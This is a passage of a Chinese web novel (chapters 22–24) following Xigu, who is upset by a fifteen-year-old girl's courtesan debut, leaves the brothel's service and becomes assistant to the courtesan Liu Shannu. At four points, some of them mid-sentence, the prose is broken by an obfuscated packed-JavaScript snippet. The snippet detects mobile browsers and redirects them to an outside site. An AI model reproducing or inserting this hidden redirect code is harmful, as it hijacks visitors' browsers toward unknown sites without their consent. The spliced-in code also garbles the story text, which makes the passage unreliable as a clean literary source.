朱娘子的声音转到后面来,“勿使众位郎君久候,我儿,出来吧!” 楚邀的脸上分明还带着孩子式的稚嫩,眼神里却已蓄起积年得风情。 细姑看着,觉得惊悚极了。 朱娘子的话音传来,她挣脱了母亲的手,从细姑卷起的门帘下穿过,没有回头,一个人走向了她的选婿宴,走到了油烹烈火的花魁路上,也走进了满楼闝客的欲望里去。 帘子放下,楚邀的母亲已泣不成声。 细姑隔着帘子听见外面人气哄然。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488913|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她看不见楼内的情形,只觉得楼里点的红烛不好——烛心的火光总是乱晃,晃得外面的人影在帘布上飘来荡去。 鬼一样! 细姑呆不下去了,转身想走。 旁人看到,问她,“诶!你怎么走了?” “我身体不适,先走一步!” “赏银还没分!” “送你了!” 她疾步出了甬道,来到周娘子库房门口,敲敲门。 门打开,周娘子手里拿着一盏灯,“你不是在看帘子?怎么到我这儿来了?” 细姑既愤怒又惊恐。 她愤怒于楼里那么多人对着这样一个小姑娘贪婪的欲望,惊恐于自己不知何时已渐渐融进繁金楼这座人血磨坊里。 她想立刻离开此地!跟周娘子请辞! 满腔的话到了嘴边,却只有一句,“周娘子我要告假!” “怎么了?”周娘子问道。 细姑垂下头,有些泄气,“不知道,有些头昏。” 周娘子将灯拿到了细姑的脸前,火光不甚明亮,却足以让她看见细姑的眼睛、看见细姑脸上的神色。 她多少明白了点什么,“去吧,准你两天假。” 细姑走的时候,繁金楼上,枇杷巷里,欢声笑语依旧。 巷口的夜摊还是多,多得让人走不动道。 细姑看到一个木偶摊子上有在卖木剑的。 摊主好眼力,见细姑看过来,立刻上前,“娘子,桃木辟邪,快到端午了,给家里的孩子带上两把桃木剑,避避邪祟!” 五月是恶月,湿热滋生,毒虫横行,丽娘已在家里备好了艾草蒲叶。 可是这个摊主是怎么看出她有孩子的?还是两个? 细姑还是买了两把。 到家时,小孩子已经睡了,丽娘还没有。 她把剑给了丽娘一把,“端午辟邪用的。” 丽娘接过剑,听着细姑的声音有些不对,无精打采的,她问细姑,“大姐,你怎么了?” “不知怎么有些头昏,想是最近太累了。”繁金楼的事情她不想跟丽娘说,“我去睡一觉就好了。” “那你吃了没有?”丽娘在身后问她。 “不用了。”她吃不下。 母亲教过她,有什么不高兴的,睡一觉就好了,她现在要回去睡一觉。 这天晚上细姑睡得不好,她做了一个梦,梦里她到了一个红粉骷髅场。场内摇摇晃晃的红烛围成了一个圈。 圈子里一身红衣的骷髅在跳舞。圈外满是恶鬼,一个个寝皮的寝皮,喝血的喝血,还有一个留着血泪的也在啃食着自己的骨肉。 骷髅越舞越快,眼看就要舞到她的面前。 她吓坏了。 她知道这具骷髅是谁,想喊出她的名字,阻止她的前进。 但她发不出任何声音。 越来越近了,她慌张地举起手来想要挡住自己。 举到眼前的却是一副白骨—— 22. 第 22 章 “啊——” “大娘——” 泉布巷的宅子里,两道声音同时响起。 细姑醒了。 她浑身是汗,猛地坐起身来,剧烈地喘息,颤抖着,缓缓地,举起两只手来——是人的手。 她还是人! 她两只眼睛在屋内逡巡——床、柜、窗、门,门外是刘月儿在砸门,“哐!哐!哐!”。 “大娘,你醒了没有?” 出了长长地一口气,细姑重又摔回了床上。 门外,丽娘说刘月儿,“大人在睡觉,你别处去玩!” “不要!我就要找大娘玩!” 母女俩的声音细姑听得分明。她起身开了房门。 门一打开,就看到刘月儿举着细姑昨天晚上买的桃木剑,在那里划来比去。 刘月儿见细姑外衣没穿,两手空空,立时大叫,“娘说你买了两把剑,我的剑在这里,你的剑呢?” 剑? 细姑的剑被她重新拿在了手里。 看到两把剑,刘月儿兴奋极了,对细姑发起来邀约,“那我们来打架吧!” 怎么无论哪里的小孩子都爱玩这种打打杀杀的对抗游戏。 一大早上,细姑眼睛下面挂着俩黑眼圈,牙没刷,脸没洗,呵欠连天地陪着刘月儿杀来杀去。 她现在满脑子里面只有两个想法:昨天为什么要想不开买两把?以及——刘月儿什么时候才能玩累停下来歇一歇? 直到早饭上桌也没能停下来。 细姑只能一手端着碗,一手拿着剑防备刘月儿的突袭。 一个没防住,剑劈了下来,劈到细姑的碗上——碗碎粥撒,一地狼藉。 细姑月儿两个呆愣当场,四眼一对——闯祸了! 细姑的早饭没了,刘月儿的宝剑也成了丽娘手里趁手的兵器,专门用来教训这个不知天高地厚的猢狲。 “啪——”、“啪——”一声接着一声,半点没留情。 细姑听得直抽抽。 丽娘受过罪挨过饿,最恨别人浪费粮食。所以刘月儿今天这顿竹笋炒肉是无论如何也躲不过去的。 且这几个月衣食充足,丽娘人胖了,力气也大了。刘月儿被她单手压在膝盖上,打得屁股开花,却挣不开一点,只能扯开嗓子嚎:“娘,别打了!我错了!我下次不敢了!” 细姑想要求情,还没开口,叫丽娘一个眼神又瞪了回去,只得在心里默念:孩子闯祸遭娘打,天经地义!天经地义! 鸡飞狗跳的一个早上。 打过孩子吃过饭,丽娘照旧要带着刘月儿去上工。 刘月儿早上挨了一顿打,出门仍是要带着她的两把宝剑。 细姑也不肯一个人呆在家里,也跟着去了。 晚上回来后,丽娘煮了一锅的艾叶水,细姑从头到脚地洗了一遍。 秽气尽除。 她下定决心端午回去之后就跟周娘子请辞。 宁州城东,有一片半天然半人工的湖,名字有点怪,叫镜泊。 端午这天,一大早上吃过粽子,每人身上滴了几滴雄黄酒,又给刘月儿手上、脚上都系上五彩绳,细姑几个决定去城东的镜泊玩一玩。 她们是坐船去的。 离着镜泊湖还有一段,河上已经堵得没法过,只能下船。 下船的时候,刘月儿差点被挤到河里去。细姑干脆把刘月儿抱了起来。 “好高啊!”刘月儿个子矮,陡然到了这么高的地方,高兴地抱着细姑的脑袋直亲。 “大娘好不好?”细姑逗刘月儿。 刘月儿抱着细姑的脖子,不住的点头,“好,大娘最好了!我娘就抱不到这么高,只会打我屁股!”说完还不忘斜丽娘一眼。 那小人样儿,看得丽娘牙痒痒,照着刘月儿的屁股又是一下,“娘不好,你以后晚上别跟我睡!” 这个威胁可就大了,刘月儿离了她娘根本不睡不着,小家伙立刻服软,“娘最好!娘最好!” 好个看人下菜的小人精! 细姑哈哈大笑。 还没笑两声,细姑就看到了有过一面之缘的柳扇奴和她的丫头。 她们的情况不太妙,让人给围着拦在了湖边。 等细姑看到了拦人的人更加觉得大事不妙——金冠束发,锦衣加身,□□良驹,周身奴仆。 这个拦了柳扇奴的人看起来富贵非常人能所及。 柳扇奴大约出道至今从未被别人这样无礼对待过,此刻一双秀美拧起,面容整肃,看向上首骑在马上的锦衣公子。 但形势比人强,柳扇奴无奈却也只能低下头来好言相求,“这位公子,奴今日赴文相公的宴,改日有缘再陪伴公子,今日还请公子放奴二人去吧!” 柳扇奴说话的声音还是那样好听,但是这位公子只是高高地坐在马背上看着柳扇奴,一言不发,一动不动,不知在想些什么。 周围看热闹的越来越多,细姑混在人群里,有些替这位花魁娘子干着急。 即是青楼妓女,这青天白日、大庭广众下也不能上来就对人报自己的名姓住处。 柳扇奴急得攥紧了手里的帕子,她向周围看过去,看了细姑,她甚至不知道细姑的姓名。 “姐姐!”细姑就听见柳扇奴这样叫自己! 所有人都跟着柳扇奴的目光看了过来。 细姑暗叫一声遭,赶忙把丽娘母女推远一些,然后点头哈腰,一脸假笑的回应众人,“嘿嘿!”嘿嘿! 毕竟受过人家三钱银子的恩惠,此刻又被叫住了,细姑也只能上前。 她先跟柳扇奴问了一声好,随后从拦人的仆从中间穿过,来到那个公子近前。 好一个锦衣宝马的俊俏公子!细姑感叹。 只是卿本佳人,做什么要当个拦人去路的强贼呢? 细姑弯腰向公子问了一声好,随即腆着笑脸道:“这位公子!自来男女之事讲究一个花前月下,两厢情愿。可眼下这情形——难免瓜不甜果不蜜。而且我家姑娘名满整个宁州城,若是有心,必有相见之日。您看这——今日且让我家姑娘先行一步,来日再见不迟呐!你看是不是?” 细姑还未向周娘子请辞,仍算是半个繁金楼的人,此刻说一句我家姑娘,也不算不对。 也不是哪一句话说动了这位公子,就见那公子听了细姑的话,嘴角勾起一丝薄凉的弧儿,看一眼细姑,又看一眼柳扇奴,说了句“好个巧舌刁嘴的妇人!”,便打马走了。 主人家走了,围着人的仆从也随之离开,柳扇奴身边为之一空。 这就走了?细姑一头雾水的看向柳扇奴二人。 柳扇奴笑了一下,半福了个身子,对细姑谢道:“谢姐姐为奴解围。今日之恩,他日报。”声音轻而缓,听来只觉十分真诚。 细姑是个看了美人儿便觉欣喜的呆子,此刻嘿嘿一笑,“哪里!哪里!你要赴宴,晚了怕来不及,快去!快去!” 柳扇奴微微颔首,带着丫鬟登船往湖上去了。 人都走了,丽娘带着刘月儿来到细姑这边,她问细姑,“你认识?” 细姑看她一眼,“男的不认识,女的认识,是繁金楼的花魁行首,柳扇奴!” “哦——”丽娘在洗衣院呆了一段时间,显然也是听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488914|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说过这位花魁娘子的名声,“是她,怪不得这么好看!” “那位公子看着有钱得很?要找花魁还不容易?做什么要干这当街拦人的事情来?”丽娘怪道。 细姑也不知道,那个公子长得很有几分人样,靠着那张脸想要多少女人没有,做什么非要跟一个青楼女子过意不去,她也很费解。 “鬼才知道这些有钱人脑子想些什么东西,吃撑了闲得!”细姑才不想理会,“咱们过端午要紧!” 镜泊北边是含光寺,宁州府里最大的寺庙。庙建在一座矮山上,上去要爬一段石梯。 细姑丽娘带着一个孩子,怕累,就没上去,只在山下的庙会闲逛。 庙会上吃的、喝的、玩的、押宝赌钱的、戏台上唱戏的、还有和尚摆着桌子解签的……总之细姑见过的、没见过的,什么都有。 细姑还看到一个耍猴的。 那猴子跟人一样,手里拿着一根短棍,身上穿着小衣裳,头上带着一顶小帽儿,帽尖撮了一根红缨。 训猴人一声口令,就见猴子立了个正姿,随即使着棍子耍了起来。 猴子耍棍子,训猴人也耍棍子。 耍着耍着,猴子忘了动作,拿着棍子不动了,一双圆圆的猴眼转到训候人那边,看了一眼,想起来,又耍几下,再看一眼,再耍几下…… 这猴子机灵又机灵得不甚聪明,毛手毛脚的,直招人笑。 耍了一阵,训猴人停下来,将猴子牵到肩头上坐着,又拿起一面锣,翻个面,在场上绕了一圈,向众人讨赏。 细姑扔了三个铜板进去。 看完耍猴的,细姑几个沿着种满柳树的湖岸绕了半天,来到镜泊南边。 南边有个楼,名“太白仙居”,楼面阔五间高三层,彩檐斗拱,立于湖边,十分醒目,路过的百姓都要停下来看一眼。 细姑也在看,不仅看楼,还看人——她看见沈宿了。 不只是细姑,周围的人都看见了——那么个瘦高的男人肩顶上趴坐着一个嚎哭的小男孩儿,谁能不看见? 像刚才耍猴的! 这个念头一起,细姑再也忍不住,笑出声来。 “大娘你笑什么?”刘月儿奇怪。 细姑悄悄地给刘月儿指了指沈宿的方向。 “哇!”刘月儿羡慕极了,对着小男孩儿喊道:“你坐得好高哇” 这个死孩子! 两方人离得不远,那个男孩听到刘月儿的声音,抬起头来,顺着声音的方向找到了刘月儿。 他抱着沈宿的头,小手一指,“舅舅,这边!” 沈宿早就看到了细姑,那脸上幸灾乐祸的笑也叫他看得清清楚楚,他不想过去,换个方向要走。 “错了舅舅,这边!这边!”胖外甥扯着舅舅的耳朵,迫使他不得不往细姑这个方向来。 大人见面略有几分尴尬,两个姓名都不通的孩子倒是聊得起劲。 刘月儿先问,“你坐得好高哇!看得远不远?” “远!” “有爹真好!” “这是我舅舅!” “你也没爹了?所有才哭的?” “嗯?”那男孩儿解释,“我有爹!我是因为我娘不在才哭的!” 刘月儿更惋惜了,“原来你是没娘,真可怜!” “我有娘!”小孩儿急了,“我是没看到娘才哭的!”说着又想哭了。 外甥哭起来拿手擦鼻涕眼泪,全抹到了沈宿身上,沈宿忍了又忍,哄道:“别哭了,你娘就在楼上,我现在就带你过去!” 说完向细姑点点头,顶着哭唧唧的外甥找他娘去了。 23. 第 23 章 沈宿带着外甥进了去了,细姑几个是没钱进去的,过了眼瘾也就罢了,还是去别处看看。 但——也没走成,她叫一个小厮模样的人拦住了,“这位娘子,我家主人有请。” 小厮话语和气,态度却很强硬,看样子细姑不去不行。 并且——主人?哪个主人? 细姑随着小厮到了太白仙居三楼的雅间,进门就看到了他口里的主人——原来是刚才拦了柳扇奴的公子。 此时,这位模样颇佳的公子手里正捏着一只酒杯,小厮进来,报了一声,“世子,人我带来了。” “嗯!”这个什么世子漫不经心地挥挥手,小厮退至门边,把细姑露了出来。 “刚才湖边那个女子你认识?”世子还是转着手里的酒杯,没看细姑。 “认识。”这个什么世子一看就来头不小,细姑颇为谨慎,没敢多说话。 “嗯?”世子的眼睛终于从酒杯上离开,看向细姑,显然,细姑的回答简单得让他不满。 该识时务的时候一定要识时务,细姑立马把柳扇奴的身份报了出来,“柳扇奴,繁金楼的行首,宁州府数一数二的花魁娘子。” 得到了想要的,这位世子站起身来,将酒杯里面的酒一口饮下,酒杯“噔”的一声被扔在了桌上,“这一桌东西赏你了!” 说完,这位不肯正眼看人的世子便带着小厮离开了。 “嗯?”细姑蒙了一下,随即反应过来,立刻对着那世子远去的背影高声道谢! 真心实意的道谢。 世子小厮都没理她,直下楼去了。 细姑也根本不在意。 看着这满满一桌子,除了酒,菜竟是一口没动,她觉得自己今天真是赚大发了! 细姑先叮嘱好门口的伙计,让他别动雅间里面的东西,然后飞奔下楼,找到牵着孩子一脸担忧的丽娘,喜笑颜开道:“走!我们上楼吃饭去!” 丽娘刚刚还在忧心,这会儿就被她拉着上楼吃饭,一时间搞清楚状况,边走边问,“大姐,怎么就上楼吃饭了呢?” “不用管,我给有钱人递了个口信,他赏我一桌子好酒好菜,我们一起吃!”细姑跟她解释,又催促道:“快走!快走!” 细姑走到二楼楼梯口被人挡住了去路,抬头一看,正是沈宿那根竹竿子。沈宿见她,侧过身让道。 细姑略点头道谢也就拉着丽娘月儿上三楼去了。 沈宿看着细姑上了三楼,不禁奇怪:哪家这般阔气,赏人太白仙居几十两一桌的席面? 细姑可不管这位世子为这桌子花了多少的银子,她只知道这里的菜又好吃又多。 三个人吃了半天,一桌子菜就像是刚被蹭掉了一层皮。 丢了浪费,全部带走也不现实,天热这些东西不耐放,最多一天就不能吃了。 细姑请楼里的伙计帮忙打包了几个菜。 太白仙居三楼的伙计怕是从来没听见客人有过这样的要求,一时间竟没反应过来,再三跟细姑确认之后,才从其他地方调来了两个食盒,约定好后天来还。 虽然十分遗憾,但是细姑和丽娘不得不舍弃掉大部分,只带走几个耐放的菜,还有酒,家里没人喝酒,这东西放多长时间都没关系。 端午第二日,细姑提着太白仙居的食盒、带着太白仙居的酒菜去找周娘子,她要找周娘子请辞,吃一顿散伙饭。 她以为周娘子多少会挽留她一下,结果根本没有,周娘子十分平静地就同意了。 周娘子接了细姑的食盒,冲门里努努嘴,“有人找你。” 细姑听了这话寻思道:这两天不知道怎么回事,找自己的人还挺多的。 可是谁会专门来周娘子这里来找她? 原来是柳扇奴! “您怎么知道到这里找我的?”细姑好奇。 今天的花魁娘子看起来素净极了——头发简单挽起,上面只有两根浅色的发带,别无余饰。 柳扇奴没有回答细姑的问题,她先起身,郑重地向细姑道谢,“昨日,多谢姐姐相助,解我困境,如不是姐姐,奴险些误了问相公的宴席,请受扇奴一拜。”说完柳扇奴身姿款款,对着细姑鞠了一躬。 细姑立马避过,“一点小事,不敢受姑娘的礼!” 周娘子在后头把食盒放到桌上,“哎呀,都不是外人,不用这么客气来客气去的。”她又解了细姑的疑惑,“前几天不是你给姑娘送衣裳去的?” 柳扇奴点点头。 细姑明白了。 “姐姐请坐!” 柳扇奴人客气说话也好听,但细姑风风火火大大咧咧的惯了,陡然面对这样一个浑身香气说话行事慢悠悠的美人,只觉得手啊脚啊哪哪都不得劲。 周娘子看不过眼,“那不是有个凳儿,坐着就是!” 细姑坐下,“姑娘找我什么事情?” “我方才听见姐姐在跟周妈妈请辞?”美人说话慢,还爱说半截。 细姑点点头,“我想去找点别的事情做。” “找好了吗?” “还没有?” “那姐姐到我这里来,帮我做些事情如何?”柳扇奴的工作邀约来的猝不及防。 “嗯?”她能帮柳扇奴做什么? “我屋里的妈妈最近害了病,我让她回去养着,身边现在只有一个小丫头茗儿,并不顶事。昨日,我观姐姐言辞有度,为人义气,想请姐姐到我屋里来,帮我做几天事。”柳扇奴说话客气谨慎。 细姑犹豫了,她是想离开这个行当,去做点正常的事情来着,“我要考虑一下。” “你考虑什么?”周娘子说她,“柳姑娘那里是那么好去的?”她对着细姑使眼色。 真有那么好? 柳扇奴看她俩打着眉眼官司,笑道:“月钱二两,平日里只需随我出门,帮着我拿些东西,有必要时帮我转圜一下,旁的并没有什么为难之事。” 说完,她略做思索,又加了一句,“赏银另算。” 要不怎么说有钱能使鬼推磨呢,细姑被钱勾着答应了下来,明日就去柳扇奴那里! 事情谈妥,周娘子要留人吃酒,叫柳扇奴给拒了,“谢妈妈好意,扇奴今日另有它事,改日再聚。” 这是客气的场面话,周娘子懂,没再多说,送了柳扇奴出门。 柳扇奴走后,细姑帮着周娘子又算了一日账。 晚点,周娘子将细姑带了的酒菜热了,同细姑一起吃酒。 “你那天晚上是怎么回事?”周娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488915|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子问道,“我听那天楼里的人说,你撂下帘子就走了,赏银都没拿。” 想起那天晚上看到的情形,细姑叹了一口气,声音有些低落,“选婿宴上,我看到楚邀的母亲在哭……” 后面的话细姑没说,周娘子也能明白。 她放下筷子,两眼细细地打量着细姑,轻笑一声,“哎呀——,柳扇奴说得没错,你确实是有几分义气在身上的。” 用眼睛把细姑看了一遍,周娘子偏身靠在椅背上,“可惜你用错了地方,在这里,在这整个枇杷巷里,不论是男人还是女人,只要是有几分姿色的,都是这么过来的。” 周娘子喝了一口酒,“你同情得过来么?” 细姑摇摇头。 “与其为她们母女不平,还不如希望楚邀能趁着年轻鲜嫩多赚上一些钱财,或是干脆遇上哪位好心的恩客,早点把她赎回家去,这样子好歹下半辈子能有个着落。” 时代不同,社会不同,人的经历不同,观念自然不同。譬如细姑上辈子,哪个父母要是敢把女儿称斤论两地卖了换彩礼,一定会被人骂得臭头,但是在这里,连被卖的女儿还会帮着父母问一句:儿卖得值不值? 道理她都懂,但她心中还是难受,还是要说:“可是,可是楚邀她才十五岁,而且她的父亲刚死。” 她有过十五岁,她见过很多的十五岁,十五岁的人是什么样子,这很难概述。但她想十五岁应该是被允许犯很多错误的年纪,十五岁可以成绩不好、上课看小说被老师家长责骂,可以因为谈了一场不成熟的恋爱乱发脾气…… 有没有父亲不重要,重要的是十五岁,应该被允许成长下去,而不是被催熟早早摘下。 那些人说男人二十而冠,三十而立,可为什么一个才十五岁的女孩子就理所当然的要她立刻成为女人,去面对那么多、那么多男人赤裸的、丑恶的欲望。 还有什么二八佳人八十翁,什么一树梨花压海棠,令人作呕! 没有一个受到过正规教育的老师的灵魂能对着这样的罪恶而不唾弃! 但她只能唾弃,甚至不敢当着这些人的面唾弃! 她是个懦夫!无用的懦夫! 她开始痛恨自己,痛恨这场穿越,为什么不直接让她死了?为什么! 细姑浑身都因为这种无处诉说的愤怒而颤抖,牙齿咬得咯咯作响。 不知道这王细姑是从哪里养来的的天真劲儿,周娘子喜欢这股子劲儿,也笑这股劲儿。 她给细姑倒了一杯酒,“你知道外面多少的父母想把自己的孩子送到繁金楼里来。十五岁,在外面十五岁都不知道接客几年了,再长大一些就老了,不值钱了。” 活下来是生命最基础的最重要的部分,其他的都只是其他。 细姑端起酒杯,一饮而尽。 周娘子又问细姑,“你几岁结的亲?” 十三被聘,十五及笄,十六成婚,这个身体记忆里刘洪王细姑相处时的温情,让她有意无意的淡化染白了这对夫妻最开始的本质——买卖。 细姑不说话了,不知道是太白仙居的酒太好,还是自己的酒量太差,她觉得自己的脑袋像是有千斤重,挣扎着想要抬起来,“吭”的一声又坠到桌子上去。 她睡着了。 24. 第 24 章 花魁娘子住的地方也没有多么的富丽堂皇。 细姑到的时候,见到的是一个刚刚起床、还未梳妆的柳扇奴。 “晚起倦梳妆。”细姑嘴巴里不知怎么蹦出来这么一句。 柳扇奴笑了,她吩咐小丫头,“茗儿,给姐姐看座。” 这样的柳扇奴也很美,美得可亲可爱。 “我知姐姐姓名,却未知姐姐年岁?” 细姑回她,“二十六!” 小丫头茗儿给细姑端了杯茶来,“比我家姑娘大六岁!” 柳扇奴点点头,“那我以后还是叫你姐姐。” “叫我大姐吧,我家里人都是这样叫的。”丽娘确实一直都是这样叫她的。 柳扇奴从善如流,“大姐!今日无事,不出门,回头让茗儿带你在楼里四处看看,有事我会叫你。” “好!”细姑起身,目送柳扇奴上楼。 柳扇奴的居所是一栋二层的小楼,在城东,离含光寺、镜泊都不远。 小楼临着河边,前面是一道朱漆小门,后面有一道水门,供人上下船只。 “大姐,东西都在这里,你平时要多照看一下,时常擦拭,这些东西,姑娘时不时地就要用上。”小丫头环儿才十一岁,口齿伶俐地为细姑介绍一楼的东西。 一楼里间,一进门就看到墙上挂着一面琵琶,当中一间桌子,桌子上有个瓷白的果盘,盘里是几枝带着毛叶的枇杷果子。周围的的架子上摆放着檀木的棋盘、棋罐、牙牌、香炉、点茶的器具…… “还有楼上,”细姑跟着茗儿来到二楼。 二楼也是两间,外面一间是书房,里面全是书,细姑看过去,多是诗集,也有一些诸子百家的经学。靠窗有一张书桌,上面平铺着一副还没有写完的字。 原来一个顶尖的妓女要会这么多的东西! “大姐认字?”柳扇奴已经梳妆好从卧房出来了,她见细姑在读她抄写的经文。 “嗯?”细姑抬头,“认不全,好像是佛经?你写的字真好看。” 她原以为这些日子自己终于把毛笔拿顺手了,字也写得有模有样,起码能看了。现在一看柳扇奴的字,才知道自己差得远了。 细姑夸赞得太直白,叫柳扇奴有些不好意思,“大姐谬赞了!” “哎——”细姑想起来,把前天端午自己在太白仙居的事情一点不漏地说给柳扇奴听。 柳扇奴听后,想了片刻,摇摇头,“大姐不用在意,该来的自会来。” 给独居一处的花魁做事,比起细姑做的其他事情确实是既轻松又钱多。 柳扇奴不是每日都有宴请,也不是每一次宴请的邀约都会应下,大约两三次里能应下一回。 细姑就跟在她们主仆身后,帮着拿东西、递东西,遇到有任何情况帮忙上前探路、问路,总的来说就是给人当助理。 她觉得柳扇奴请自己当助理,还有一个重要的原因,她个子高力气大,看起来更有安全感一些。 虽然像端午那样的情形再没发生过,但是每每有点不顺当的时候,细姑学着葛九娘那样垮着脸上前问一句,事情也就没了。 细姑心道:当个恶李逵也是有点好处的,镇小鬼! 顶级花魁的容貌、才情、言谈举止这些东西加起来,都是为了向这些文人贵客贩卖一种更为高级的、叫做红颜知己的情绪价值,至于床笫之欢大约只是顺带的一点欢愉。 请柳扇奴出门需车马费五两,宴席上侍酒、表演、诗词唱和的赏钱,这些才是大头。 留宿?细姑跟了一段时间还没看柳扇奴留宿的情况,这大约是更加高昂的费用。 每次宴席过后,主人家都会代柳扇奴打赏细姑一番,少则二三钱、多则五六钱的赏银,口中还不时交代细姑要好好照顾柳扇奴。 几回下来,赏银早就超过了月银。细姑刚好用这笔银子又付了三个月的房屋赁钱。 这天细姑照例帮柳扇奴收门口投来了的宴请花签,其中有一封烫金的请帖十分正式突出,大约是哪个大人物送来的。 她把这封请帖先拿给柳扇奴过目。 柳扇奴在梳妆,看到请帖,放下手里梳子,“这是文相公的帖子,门口送贴的人还在么?” “还在的。”细姑回道。 “请他到一楼等待,我稍后便来!” 送信人见到柳扇奴先行了个礼,随后掏出两个银锭,才道:“柳姑娘,我家相公七日后在一径香要宴一位贵客,望姑娘当日好生装扮,替我们相公招待周全。这是纹银二十两权作车马资费,还请姑娘笑纳。” 细姑接过两个银锭给柳扇奴过目。 柳扇奴回他,“文相公相邀,不敢不来,还请相公放心,奴七日后必定践约。” 七日后,柳扇奴在镜前描眉化妆,画了好一会儿都不满意,画眉的笔被丢回了妆匣里。 细姑上前,看看镜子,又看看柳扇奴的脸,问道:“好几回了,姑娘是哪里不满意?” “哪里都不满意,总觉得差一点什么?” 文相公光是车马费就给了二十两,所请之人必定身份不凡,柳扇奴自然不敢怠慢,她照着往日无论如何装扮都觉得不对,一时有些气闷。 细姑歪着脑袋,“让我帮着看看?” 柳扇奴平复平复心情,“也行,那大姐帮我参详一二。” 柳扇奴自然是美的,一种书画般静谧清晰的美。现在,这幅书画需要活泼一些。 细姑把柳扇奴脸上的妆,用帕子沾着水一点一点擦去,再用修眉的小刀把眉毛修得直一些,再填粗一些,眼睛睫毛根部涂一点黑,让眼睛看着更圆更大,最后指头上沾一点胭脂,薄薄的点了一层。 “你看怎么样?”细姑看着镜子里的柳扇奴问道。 镜中人眉眼俊俏讨喜,不复先前画中仕女般的模样。 柳扇奴左右看看,很满意,对茗儿道:“茗儿,把这些金的玉的都去了,”又对细姑道,“大姐,你去街上鲜花铺子里,让他们把花都送来我瞧瞧!” 轻纱雪衣,榴花簪鬓,今日的柳扇奴清艳绝伦。 一径香是个园子,在东城门外。 柳扇奴到的时候,文相公亲自出门相迎。 文相公四五十岁,头带一副文士巾,又矮又胖,有一个大鼻子,看着像个土地公公,虽不好看,但也不丑。 这位土地公一见柳扇奴,便道:“飞卿今日——好!好!好!”飞卿是柳扇奴的小字。 一连三个好字,看来十分满意。 柳扇奴欠身,“相公有请,安敢不用心?” 文相公抚须一笑,“请!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497613|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 细姑和茗儿也跟在后面进去了。 一径香园中,路两旁种腊梅,桂花、茉莉,玉簪,间杂着几株栀子。 如今正是茉莉、栀子开花的时节,满院馨香。 文相公把宴安排在水榭,细姑环儿就在水榭外的假山边上等待。这里既可以看到水榭的情形,以备随时召唤,又借着假山的势头挡住了两人的身形。 有客人从假山边上的小径走过——是端午那天拦了柳扇奴的公子。 “谢公子,这边请。”细姑听见“土地公”这样称呼道。 原来这位公子姓谢。 这位谢公子今日一身宝蓝直缀,头上黑色锦缎束发,手里拿着一把纸扇,扇底坠下一块白玉扇坠,听了文相公的话边走边道:“文翁客气!” 原来这个谢公子也是能好好说话的。 柳扇奴也没想到,文相公今日要宴请的这位谢雍谢公子——竟是那天在镜泊湖拦了自己的人。 她走出水榭,恍若无事地站在文相公身后,对着谢雍微微福了一下身子,“扇奴见过谢公子。” 谢雍将纸扇一收,对着柳扇奴还了一礼,“那日谢某无礼,还请姑娘不要怪罪。” 柳扇奴道:“奴不敢!” 文相公哈哈一笑,“原来你二人早见过,倒是有缘!快请里面坐!” 宾主落座,柳扇奴侍酒。 文相公吩咐道:“飞卿,还不快快为谢公子斟酒?” “是!”柳扇奴应了一声,手持一只青瓷酒壶款步至谢雍身前,颔首低眉问道:“公子饮酒?” 谢雍不看柳扇奴,自去与文翁说话,闻言只将手里的酒杯伸到柳扇奴面前。 柳扇奴倒一杯,谢雍喝一杯,喝完再递出去。 一连三杯后,谢雍道:“罢了,你退下吧。” 柳扇奴留下酒壶,退至谢雍身后。 细姑从假山后将头探出去几回,就看见柳扇奴站在谢雍身后,半天也不见动一下。 嗯?这是宴饮侍酒?明明以前都要弹个曲唱个词什么的,今天什么也没有,就干站着?那她抱了一天的琵琶岂不是白受累? 不过这也不关她的事。 细姑又缩回了假山后头,照例期盼这场宴请能早早结束,她好早点回家休息。 可这位文相公也真是能聊,几个时辰都没带停的。 柳扇奴更是操守一流,除了时不时的添酒布菜,片刻都没有休息。 倒是这位谢公子中间出来过一趟。 他从假山边上走过的时候,脚步停了下来,显然是认出了细姑。 